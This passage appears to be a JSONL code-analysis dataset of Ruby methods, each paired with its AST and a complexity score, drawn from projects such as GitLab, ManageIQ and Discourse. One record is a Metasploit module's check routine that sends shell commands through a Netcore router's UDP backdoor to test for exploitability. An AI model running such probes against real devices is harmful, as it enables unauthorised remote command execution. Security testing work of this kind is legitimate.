{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data_counters/base_counter.rb","start_line":30,"raw_source":"def fallback_totals\n        known_events.to_h { |event| [counter_key(event), -1] }\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"fallback_totals\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"known_events\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counter_key\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},{\"type\":\"int\",\"children\":[-1]}]}]}]}","id":"6b7c1299-d194-4c0b-a127-f231d45c03a9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/has_custom_fields.rb","start_line":194,"raw_source":"def custom_fields_fk\n    @custom_fields_fk ||= \"#{_custom_fields.reflect_on_all_associations(:belongs_to)[0].name}_id\"\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_fields_fk\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@custom_fields_fk\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_custom_fields\"]},\"reflect_on_all_associations\",{\"type\":\"sym\",\"children\":[\"belongs_to\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]}]}]}","id":"3c360312-5127-490e-8a4f-ba67e8c8b9e4"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/migrate.rb","start_line":103,"raw_source":"def ensure_parameters_are_valid(params)\n      if params[:readonly]\n        UI.user_error!(\"`fastlane match migrate` doesn't work in `readonly` mode\")\n      end\n\n      if params[:storage_mode] != \"git\"\n        UI.user_error!(\"`fastlane match migrate` only allows migration from `git` to `google_cloud` right now, looks like your currently selected `storage_mode` is '#{params[:storage_mode]}'\")\n      end\n    end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_parameters_are_valid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"readonly\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"`fastlane match migrate` doesn't work in `readonly` mode\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"storage_mode\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"git\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`fastlane match migrate` only allows migration from `git` to `google_cloud` right now, looks like your currently selected `storage_mode` is '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"storage_mode\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]}]}]}","id":"f69329ad-51bc-4c1e-97a8-ff81ab5040c8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/right_sizing.rb","start_line":151,"raw_source":"def max_cpu_usage_rate_average_max_over_time_period\n    end_date = Time.now.utc.beginning_of_day - 1\n    perfs = VimPerformanceAnalysis.find_perf_for_time_period(self, \"daily\", :end_date => end_date, :days => Metric::LongTermAverages::AVG_DAYS)\n    perfs.collect do |p|\n      # Ignore any CPU bursts to 100% 15 minutes after VM booted\n      next if (p.abs_max_cpu_usage_rate_average_value == 100.0) && boot_time && (p.abs_max_cpu_usage_rate_average_timestamp <= (boot_time + 15.minutes))\n\n      p.abs_max_cpu_usage_rate_average_value\n    end.compact.max\n  end","complexity_score":36.68,"ast_json":"{\"type\":\"def\",\"children\":[\"max_cpu_usage_rate_average_max_over_time_period\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"end_date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"beginning_of_day\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"perfs\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VimPerformanceAnalysis\"]},\"find_perf_for_time_period\",{\"type\":\"self\",\"children\":[]},{\"type\":\"str\",\"children\":[\"daily\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_date\"]},{\"type\":\"lvar\",\"children\":[\"end_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"days\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"LongTermAverages\"]},\"AVG_DAYS\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"perfs\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"abs_max_cpu_usage_rate_average_value\"]},\"==\",{\"type\":\"float\",\"children\":[100.0]}]}]},{\"type\":\"send\",\"children\":[null,\"boot_time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"abs_max_cpu_usage_rate_average_timestamp\"]},\"<=\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"boot_time\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[15]},\"minutes\"]}]}]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"abs_max_cpu_usage_rate_average_value\"]}]}]},\"compact\"]},\"max\"]}]}]}","id":"8c0b3e02-00a0-4bb4-9d80-e9ea0ef7ad59"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/context_test.rb","start_line":213,"raw_source":"def test_hierachical_data\n    assigns = { 'hash' => { \"name\" => 'tobi' } }\n    assert_template_result(\"tobi\", \"{{ hash.name }}\", assigns)\n    assert_template_result(\"tobi\", '{{ hash[\"name\"] }}', assigns)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hierachical_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assigns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"hash\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"tobi\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"tobi\"]},{\"type\":\"str\",\"children\":[\"{{ hash.name }}\"]},{\"type\":\"lvar\",\"children\":[\"assigns\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"tobi\"]},{\"type\":\"str\",\"children\":[\"{{ hash[\\\"name\\\"] }}\"]},{\"type\":\"lvar\",\"children\":[\"assigns\"]}]}]}]}","id":"b98b0a10-e1f4-4260-abf2-890fbe8c2ac6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/time/monthly_strategy.rb","start_line":18,"raw_source":"def missing_partitions\n            desired_partitions - current_partitions\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"missing_partitions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"desired_partitions\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"current_partitions\"]}]}]}","id":"084ac9a0-7f04-4c84-b356-7c693a4642cb"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/tabular_form_builder.rb","start_line":274,"raw_source":"def label_for_field(field, options = {})\n    return \"\".html_safe if options[:no_label]\n\n    label_options = {\n      class: label_for_field_class(options[:class]),\n      title: get_localized_field(field, options[:label])\n    }\n\n    content = h(label_options[:title])\n    label_for_field_errors(content, label_options, field)\n    label_for_field_for(options, label_options, field)\n    label_for_field_prefix(content, options)\n\n    # Render a help text icon\n    if options[:help_text]\n      content << content_tag(\"attribute-help-text\", \"\", data: options[:help_text])\n    end\n\n    label_options[:lang] = options[:lang]\n    label_options.compact!\n\n    @template.label(@object_name, field, content, label_options)\n  end","complexity_score":25.6,"ast_json":"{\"type\":\"def\",\"children\":[\"label_for_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"no_label\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"html_safe\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"label_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[null,\"label_for_field_class\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"get_localized_field\",{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[null,\"h\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"label_for_field_errors\",{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"label_options\"]},{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[null,\"label_for_field_for\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"label_options\"]},{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[null,\"label_for_field_prefix\",{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"help_text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"str\",\"children\":[\"attribute-help-text\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"help_text\"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"lang\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lang\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_options\"]},\"compact!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"label\",{\"type\":\"ivar\",\"children\":[\"@object_name\"]},{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"label_options\"]}]}]}]}","id":"955830df-f75b-4fee-9598-4aebd2002f30"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb","start_line":98,"raw_source":"def check\n    connect_udp\n    authenticate\n    resp = []\n    tmp_file = Rex::Text.rand_text_alpha(5)\n    # we need to test the echo command to see if it plays nice\n    [\"echo -en #{tmp_file} > /tmp/#{tmp_file}\", \"cat /tmp/#{tmp_file}\"].each do |command|\n      send_command(command)\n      resp << udp_sock.get(timeout)\n    end\n    disconnect_udp\n    resp_str = resp.join(',')\n    # check if we got a good response back\n    if resp.length >= 1 && resp_str.include?(\"\\x00\\x00\\x00\\x05\") && resp_str.include?(tmp_file)\n      # some routers have a non-standard echo which doesn't support -en, so we need to detect that\n      if resp_str.include?('en ')\n        print_status('Router backdoor triggered, but non-exploitable echo command detected.  Not currently exploitable with Metasploit.')\n        Exploit::CheckCode::Detected\n      else\n        Exploit::CheckCode::Vulnerable\n      end\n    else\n      Exploit::CheckCode::Safe\n    end\n  end","complexity_score":29.03,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect_udp\"]},{\"type\":\"send\",\"children\":[null,\"authenticate\"]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"tmp_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo -en \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_file\"]}]},{\"type\":\"str\",\"children\":[\" > /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_file\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cat /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_file\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_command\",{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"get\",{\"type\":\"send\",\"children\":[null,\"timeout\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect_udp\"]},{\"type\":\"lvasgn\",\"children\":[\"resp_str\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"length\"]},\">=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp_str\"]},\"include?\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0005\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp_str\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"tmp_file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp_str\"]},\"include?\",{\"type\":\"str\",\"children\":[\"en \"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Router backdoor triggered, but non-exploitable echo command detected.  Not currently exploitable with Metasploit.\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"9919b95d-6876-4d3f-a94c-9e5008ae371c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/untrusted_regexp/ruby_syntax.rb","start_line":29,"raw_source":"def self.fabricate!(pattern, project: nil)\n        raise RegexpError, 'Pattern is not string!' unless pattern.is_a?(String)\n\n        matches = pattern.match(PATTERN)\n        raise RegexpError, 'Invalid regular expression!' if matches.nil?\n\n        create_untrusted_regexp(matches[:regexp], matches[:flags])\n      end","complexity_score":11.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fabricate!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]},{\"type\":\"kwoptarg\",\"children\":[\"project\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RegexpError\"]},{\"type\":\"str\",\"children\":[\"Pattern is not string!\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"matches\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"match\",{\"type\":\"const\",\"children\":[null,\"PATTERN\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RegexpError\"]},{\"type\":\"str\",\"children\":[\"Invalid regular expression!\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"create_untrusted_regexp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"regexp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"flags\"]}]}]}]}]}","id":"4c852ce2-61b1-4bfa-a6d6-488e80e33ce8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/rbac/filterer.rb","start_line":718,"raw_source":"def scope_targets(klass, scope, rbac_filters, user, miq_group)\n      # Results are scoped by tenant if the TenancyMixin is included in the class,\n      # with a few manual exceptions (User, Tenant). Note that the classes in\n      # TENANT_ACCESS_STRATEGY are a consolidated list of them.\n      if klass.respond_to?(:scope_by_tenant?) && klass.scope_by_tenant?\n        scope = scope.with_additional_tenants if scope_to_additional_tenants?(klass) # for eager load\n\n        tenant_scope = scope_to_tenant(scope, user, miq_group)\n\n        scope = if scope_to_additional_tenants?(klass)\n                  tenant_scope.or(scope_to_additional_tenants(scope, user, miq_group))\n                else\n                  tenant_scope\n                end\n\n      elsif klass.respond_to?(:scope_by_cloud_tenant?) && klass.scope_by_cloud_tenant?\n        scope = scope_to_cloud_tenant(scope, user, miq_group)\n      end\n\n      if klass.respond_to?(:rbac_scope_for_model)\n        scope = scope.rbac_scope_for_model(user)\n      end\n\n      if apply_rbac_directly?(klass)\n        filtered_ids = calc_filtered_ids(scope, rbac_filters, user, miq_group, nil)\n        scope_by_ids(scope, filtered_ids)\n      elsif apply_rbac_through_association?(klass)\n        # if subclasses of MetricRollup or Metric, use the associated\n        # model to derive permissions from\n        associated_class = rbac_class(scope)\n\n        if associated_class.try(:scope_by_tenant?)\n          scope_tenant_filter = scope_to_tenant(associated_class, user, miq_group)\n        end\n\n        filtered_ids = calc_filtered_ids(associated_class, rbac_filters, user, miq_group, scope_tenant_filter)\n        scope_by_parent_ids(associated_class, scope, filtered_ids)\n      elsif [MiqUserRole, MiqGroup, User].include?(klass)\n        scope_for_user_role_group(klass, scope, miq_group, user, rbac_filters['managed'])\n      elsif klass == Tenant\n        filtered_ids = pluck_ids(get_managed_filter_object_ids(scope, rbac_filters['managed']))\n        scope_by_ids(scope, filtered_ids)\n      elsif scope_by_product_feature?(scope)\n        scope_by_product_feature(scope, user, miq_group)\n      else\n        scope\n      end\n    end","complexity_score":69.1,"ast_json":"{\"type\":\"def\",\"children\":[\"scope_targets\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"arg\",\"children\":[\"rbac_filters\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"miq_group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"scope_by_tenant?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"scope_by_tenant?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope_to_additional_tenants?\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"with_additional_tenants\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"tenant_scope\",{\"type\":\"send\",\"children\":[null,\"scope_to_tenant\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"miq_group\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope_to_additional_tenants?\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tenant_scope\"]},\"or\",{\"type\":\"send\",\"children\":[null,\"scope_to_additional_tenants\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"miq_group\"]}]}]},{\"type\":\"lvar\",\"children\":[\"tenant_scope\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"scope_by_cloud_tenant?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"scope_by_cloud_tenant?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[null,\"scope_to_cloud_tenant\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"miq_group\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"rbac_scope_for_model\"]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"rbac_scope_for_model\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_rbac_directly?\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filtered_ids\",{\"type\":\"send\",\"children\":[null,\"calc_filtered_ids\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"rbac_filters\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"miq_group\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"scope_by_ids\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"filtered_ids\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_rbac_through_association?\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"associated_class\",{\"type\":\"send\",\"children\":[null,\"rbac_class\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"associated_class\"]},\"try\",{\"type\":\"sym\",\"children\":[\"scope_by_tenant?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"scope_tenant_filter\",{\"type\":\"send\",\"children\":[null,\"scope_to_tenant\",{\"type\":\"lvar\",\"children\":[\"associated_class\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"miq_group\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"filtered_ids\",{\"type\":\"send\",\"children\":[null,\"calc_filtered_ids\",{\"type\":\"lvar\",\"children\":[\"associated_class\"]},{\"type\":\"lvar\",\"children\":[\"rbac_filters\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"miq_group\"]},{\"type\":\"lvar\",\"children\":[\"scope_tenant_filter\"]}]}]},{\"type\":\"send\",\"children\":[null,\"scope_by_parent_ids\",{\"type\":\"lvar\",\"children\":[\"associated_class\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"filtered_ids\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqUserRole\"]},{\"type\":\"const\",\"children\":[null,\"MiqGroup\"]},{\"type\":\"const\",\"children\":[null,\"User\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[null,\"scope_for_user_role_group\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"miq_group\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rbac_filters\"]},\"[]\",{\"type\":\"str\",\"children\":[\"managed\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Tenant\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filtered_ids\",{\"type\":\"send\",\"children\":[null,\"pluck_ids\",{\"type\":\"send\",\"children\":[null,\"get_managed_filter_object_ids\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rbac_filters\"]},\"[]\",{\"type\":\"str\",\"children\":[\"managed\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"scope_by_ids\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"filtered_ids\"]}]}]},{\"type\":\"